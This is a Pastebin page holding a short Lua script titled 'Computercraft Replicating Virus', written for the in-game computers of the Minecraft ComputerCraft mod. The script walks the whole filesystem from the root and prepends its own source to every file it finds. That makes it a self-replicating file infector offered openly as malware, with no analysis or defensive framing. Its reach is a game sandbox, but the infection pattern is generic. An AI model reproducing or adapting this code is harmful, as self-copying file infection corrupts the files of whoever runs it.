asteroidsteam

Computercraft Replicating Virus

Feb 17th, 2018
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.00 KB | None | 0 0
  1. function infect(file)
  2.   if fs.exists(file) and fs.isDir(file) == false then
  3.     local fti = fs.open(file, "r")
  4.     local ftic = fti.readAll()
  5.     fti.close()
  6.     local fti = fs.open(file, "w")
  7.     local vf = fs.open(shell.getRunningProgram(), "r")
  8.     local vc = vf.readAll()
  9.     vf.close()
  10.     fti.writeLine(vc)
  11.     fti.writeLine(ftic)
  12.     fti.close()
  13.   end
  14. end
  15. function infectDir(dir)
  16.   shell.setDir(dir)
  17.   if fs.exists(dir) and fs.isDir(dir) then
  18.     local files = fs.list(".")
  19.     for i=1,#files do
  20.       if fs.exists(files[i]) and fs.isDir(files[i]) then
  21.         if shell.dir() == "/" then
  22.           infectDir(shell.dir()..files[i])
  23.         else
  24.           infectDir(shell.dir().."/"..files[i])
  25.         end
  26.       elseif fs.exists(files[i]) and fs.isDir(files[i]) == false then
  27.         if shell.dir() == "/" then
  28.           infect(shell.dir()..files[i])
  29.         else
  30.           infect(shell.dir().."/"..files[i])
  31.         end
  32.       end
  33.     shell.setDir("/")
  34.     end
  35.   end
  36. end
  37. infectDir("/")
Add Comment
Please, Sign In to add comment